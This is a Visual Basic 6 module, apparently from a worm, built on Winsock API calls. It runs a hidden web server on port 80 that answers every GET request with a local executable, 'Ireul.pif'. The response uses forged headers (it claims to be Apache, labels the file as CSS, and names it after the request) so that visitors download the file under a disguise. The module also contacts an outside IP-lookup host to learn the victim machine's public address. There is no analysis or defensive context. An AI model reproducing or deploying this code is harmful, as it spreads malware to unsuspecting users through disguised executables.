Attribute VB_Name = "HttpMod"
Private Declare Function WSAStartup Lib "wsock32.dll" (ByVal wVR As Long, lpWSAD As WSADATAType) As Long
Private Declare Function WSACleanup Lib "wsock32.dll" () As Long
Private Declare Function WSAIsBlocking Lib "wsock32.dll" () As Long
Private Declare Function WSACancelBlockingCall Lib "wsock32.dll" () As Long

Private Const WSADescription_Len = 256
Private Const WSASYS_Status_Len = 128

Private Type WSADATAType
  wversion As Integer
  wHighVersion As Integer
  szDescription(0 To WSADescription_Len) As Byte
  szSystemStatus(0 To WSASYS_Status_Len) As Byte
  iMaxSockets As Integer
  iMaxUdpDg As Integer
  lpszVendorInfo As Long
End Type

Private Declare Function gethostname Lib "wsock32.dll" (ByVal hostname$, ByVal HostLen As Long) As Long
Private Declare Function gethostbyname Lib "wsock32.dll" (ByVal hostname$) As Long

Private Type HostEnt
  h_name As Long
  h_aliases As Long
  h_addrtype As Integer
  h_length As Integer
  h_addr_list As Long
End Type

Private Declare Function inet_addr Lib "wsock32.dll" (ByVal cp As String) As Long

Private Const INADDR_NONE = &HFFFF
Private Const INADDR_ANY = &H0
Private Const hostent_size = 16
Private Const sockaddr_size = 16
Private Const INVALID_SOCKET = -1
Private Const SOCKET_ERROR = -1
Private Const SOCK_STREAM = 1
Private Const AF_INET = 2
Private Const IPPROTO_TCP = 6

Private Declare Function accept Lib "wsock32.dll" (ByVal s As Long, addr As sockaddr, addrlen As Long) As Long
Private Declare Function htonl Lib "wsock32.dll" (ByVal hostlong As Long) As Long
Private Declare Function htons Lib "wsock32.dll" (ByVal hostshort As Long) As Integer
Private Declare Function socket Lib "wsock32.dll" (ByVal af As Long, ByVal s_type As Long, ByVal protocol As Long) As Long
Private Declare Function connect Lib "wsock32.dll" (ByVal s As Long, addr As sockaddr, ByVal namelen As Long) As Long
Private Declare Function send Lib "wsock32.dll" (ByVal s As Long, buf As Any, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare Function recv Lib "wsock32.dll" (ByVal s As Long, buf As Any, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare Function closesocket Lib "wsock32.dll" (ByVal s As Long) As Long
Private Declare Function bind Lib "wsock32.dll" (ByVal s As Long, addr As sockaddr, ByVal namelen As Long) As Long
Private Declare Function listen Lib "wsock32.dll" (ByVal s As Long, ByVal backlog As Long) As Long

Private Type sockaddr
  sin_family As Integer
  sin_port As Integer
  sin_addr As Long
  sin_zero As String * 8
End Type

Private Declare Function WSAAsyncSelect Lib "wsock32.dll" (ByVal s As Long, ByVal hwnd As Long, ByVal wMsg As Long, ByVal lEvent As Long) As Long

Private Const FD_READ = &H1&
Private Const FD_CLOSE = &H20&
Private Const FD_ACCEPT = &H8&

Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef IpdwFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Sub MemCopy Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, ByVal Src As Long, ByVal cb&)
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Const GWL_WNDPROC = -4
Private lpPrevWndProc As Long
Public ip As String

Dim hSock As Long

Private Function StartWinsock() As Boolean
On Error Resume Next
Dim StartupData As WSADATAType
StartWinsock = IIf(WSAStartup(&H101, StartupData) = 0, True, False)
End Function

Private Sub EndWinsock()
On Error Resume Next
Dim l As Long
If WSAIsBlocking() Then l = WSACancelBlockingCall()
l = WSACleanup()
End Sub

Public Function GetLclIP()
On Error Resume Next
If Not (StartWinsock()) Then Call EndWinsock: Exit Function

Dim hostname As String * 256, hostent_addr As Long
Dim Host As HostEnt, hostip_addr As Long, temp_ip_address() As Byte
Dim i As Integer, ip_address() As String, x As Integer

If gethostname(hostname, 256) = -1 Then
Exit Function
Else
hostname = Trim$(hostname)
End If

hostent_addr = gethostbyname(hostname)

If hostent_addr = 0 Then Exit Function

MemCopy Host, hostent_addr, LenB(Host)

MemCopy hostip_addr, Host.h_addr_list, 4

ReDim ip_address(5)

Do
ReDim temp_ip_address(1 To Host.h_length)
MemCopy temp_ip_address(1), hostip_addr, Host.h_length

For i = 1 To Host.h_length
ip_address(x) = ip_address(x) & "." & temp_ip_address(i)
Next

ip_address(x) = Mid$(ip_address(x), 2)

Host.h_addr_list = Host.h_addr_list + LenB(Host.h_addr_list)
MemCopy hostip_addr, Host.h_addr_list, 4
x = x + 1
Loop While (hostip_addr <> 0)

ReDim Preserve ip_address(x - 1)

GetLclIP = ip_address()

Call EndWinsock
End Function

Public Function iStat() As Boolean
On Error Resume Next
iStat = IIf(InternetGetConnectedState(0&, 0&) <> 0, True, False)
End Function

Public Sub StartHttpListen()
On Error Resume Next
If Not (StartWinsock) Or Not (iStat) Then EndWinsock: Exit Sub
Call Hook(Form1.hwnd)
hSock = ListenSock(80, Form1.hwnd, 1080)
If hSock = INVALID_SOCKET Then Exit Sub
Form1.Timer2.Enabled = False
End Sub

Private Function SendData(ByVal s As Long, vMessage As Variant) As Long
On Error Resume Next
Dim TheMsg() As Byte
            TheMsg = StrConv(vMessage, vbFromUnicode)
If UBound(TheMsg) > -1 Then
    SendData = send(s, TheMsg(0), (UBound(TheMsg) - LBound(TheMsg) + 1), 0)
End If
End Function

Public Function Hook(ByVal hwnd As Long)
    On Error Resume Next
    lpPrevWndProc = SetWindowLong(hwnd, GWL_WNDPROC, AddressOf WindowProc)
End Function

Public Sub UnHook(ByVal hwnd As Long)
    On Error Resume Next
    Call SetWindowLong(hwnd, GWL_WNDPROC, lpPrevWndProc)
End Sub

Public Function WindowProc(ByVal hw As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
On Error Resume Next
Dim x As Long, ReadBuffer(1000) As Byte, hCode As String

Select Case uMsg
 Case 1080
  Select Case lParam
   Case FD_ACCEPT
   Call AcceptSock(hSock, Form1.hwnd, 1081)
  End Select
  
 Case 1081
  Select Case lParam
  Case FD_CLOSE
  Call closesocket(wParam)

  Case FD_READ
  x = recv(wParam, ReadBuffer(0), 1000, 0)
   If x > 0 Then hCode = StrConv(ReadBuffer, vbUnicode)
   Call EvalCode(hCode, wParam)
  End Select
  
  Case 1082
   Select Case lParam
   Case FD_READ
   x = recv(wParam, ReadBuffer(0), 1000, 0)
    If x > 0 Then ip = StrConv(ReadBuffer, vbUnicode)
    Call EvalIp(ip, x)
   Case FD_CLOSE
    Call closesocket(wParam)
    Call UnHook(Form1.hwnd)
    Call EndWinsock
   End Select
End Select

    WindowProc = CallWindowProc(lpPrevWndProc, hw, uMsg, wParam, lParam)
End Function

Public Function ListenSock(ByVal Port As Long, ByVal hwnd As Long, wLong As Long) As Long
On Error Resume Next
Dim s As Long, selectops As Long
Dim sockin As sockaddr

sockin.sin_family = AF_INET
sockin.sin_port = htons(Port)

If sockin.sin_port = INVALID_SOCKET Then ListenSock = INVALID_SOCKET: Exit Function

sockin.sin_addr = htonl(INADDR_ANY)

If sockin.sin_addr = INADDR_NONE Then ListenSock = INVALID_SOCKET: Exit Function

s = socket(AF_INET, SOCK_STREAM, 0)

If s < 0 Then ListenSock = INVALID_SOCKET: Exit Function
    
If bind(s, sockin, sockaddr_size) = -1 Then
   If s > 0 Then Call closesocket(s)
   ListenSock = INVALID_SOCKET: Exit Function
End If

selectops = FD_READ Or FD_CLOSE Or FD_ACCEPT

If WSAAsyncSelect(s, hwnd, ByVal wLong, ByVal selectops) Then
   If s > 0 Then Call closesocket(s)
   ListenSock = INVALID_SOCKET: Exit Function
End If
    
If listen(s, 100) Then
   If s > 0 Then Call closesocket(s)
   ListenSock = INVALID_SOCKET: Exit Function
End If
    
ListenSock = s
End Function

Private Function AcceptSock(ByVal sock, ByVal hwnd, ByVal wLong)
On Error Resume Next
Dim hClient As sockaddr, selectops As Long, s As Long

s = accept(sock, hClient, sockaddr_size)

If s = INVALID_SOCKET Then AcceptSock = INVALID_SOCKET: Exit Function

selectops = FD_READ Or FD_CLOSE

If WSAAsyncSelect(s, hwnd, ByVal wLong, ByVal selectops) Then
   If s > 0 Then Call closesocket(s)
   AcceptSock = INVALID_SOCKET: Exit Function
End If

AcceptSock = s
End Function

Public Function RptHttp(file)
On Error Resume Next
Dim bFile As String, sfile As String

sfile = Mid(file, 6, InStr(Mid(file, 6), Chr(46)) - 1)

o = FreeFile
Open Sp(1) & "\Ireul.pif" For Binary Access Read As #o
bFile = Space$(LOF(o))
Get #o, , bFile
Close #o

RptHttp = "HTTP/1.1 200 OK" & vbCrLf & _
"DATE: " & Format(Date, "Ddd") & ", " & Format(Date, "dd Mmm YYYY") & " " & Format(Time, "hh:mm:ss") & " GMT" & vbCrLf & _
"Server: Apache" & vbCrLf & _
"Content-disposition: inline; filename=" & Chr(34) & sfile & ".pif" & Chr(34) & vbCrLf & _
"Content-Length: " & FileLen(Sp(1) & "\Ireul.pif") & vbCrLf & _
"Content-Type: text/css" & vbCrLf & vbCrLf

RptHttp = RptHttp & bFile
End Function

Private Sub EvalCode(ByVal Code As String, ByVal lSock As Long)
On Error Resume Next
If Left$(UCase(Code), 3) = "GET" Then
Call SendData(lSock, RptHttp(Code))
End If
End Sub

Public Sub GetIp()
On Error Resume Next
If Not (StartWinsock) Or Not (iStat) Then EndWinsock: Exit Sub
Call Hook(Form1.hwnd)
Dim ipSock As Long
ipSock = ConnectSock("cualesmiip.e-mision.net", Form1.hwnd, 999, 1082)
End Sub

Public Function ConnectSock(ByVal Host As String, ByVal hwnd As Long, Port As Long, wLong As Long) As Long
On Error Resume Next
Dim s As Long, selectops As Long, sockin As sockaddr

sockin.sin_family = AF_INET
sockin.sin_port = htons(Port)

If sockin.sin_port = INVALID_SOCKET Then: ConnectSock = INVALID_SOCKET: Exit Function

sockin.sin_addr = GetHostByNameAlias(Host)

If sockin.sin_addr = INADDR_NONE Then ConnectSock = INVALID_SOCKET: Exit Function

s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)

If s < 0 Then ConnectSock = INVALID_SOCKET: Exit Function

 selectops = FD_READ Or FD_CLOSE
 
 If WSAAsyncSelect(s, hwnd, ByVal wLong, ByVal selectops) Then
    If s > 0 Then Call closesocket(s)
    ConnectSock = INVALID_SOCKET: Exit Function
 End If

If connect(s, sockin, sockaddr_size) <> SOCKET_ERROR Then
 If s > 0 Then Call closesocket(s)
 ConnectSock = INVALID_SOCKET: Exit Function
End If

ConnectSock = s
End Function

Private Function GetHostByNameAlias(ByVal hostname) As Long
On Error Resume Next
Dim rgn As Long, addrList As Long, rIP As Long, getHost As HostEnt

rIP = inet_addr(hostname)

If rIP = INADDR_NONE Then
 rgn = gethostbyname(hostname)
  If rgn <> 0 Then
    MemCopy getHost, ByVal rgn, hostent_size
    MemCopy addrList, ByVal getHost.h_addr_list, 4
    MemCopy rIP, ByVal addrList, getHost.h_length
    Else
    rIP = INADDR_NONE
  End If
End If
    
GetHostByNameAlias = rIP
End Function

Private Sub EvalIp(mp, lw)
On Error Resume Next: ip = Left$(mp, lw)
End Sub
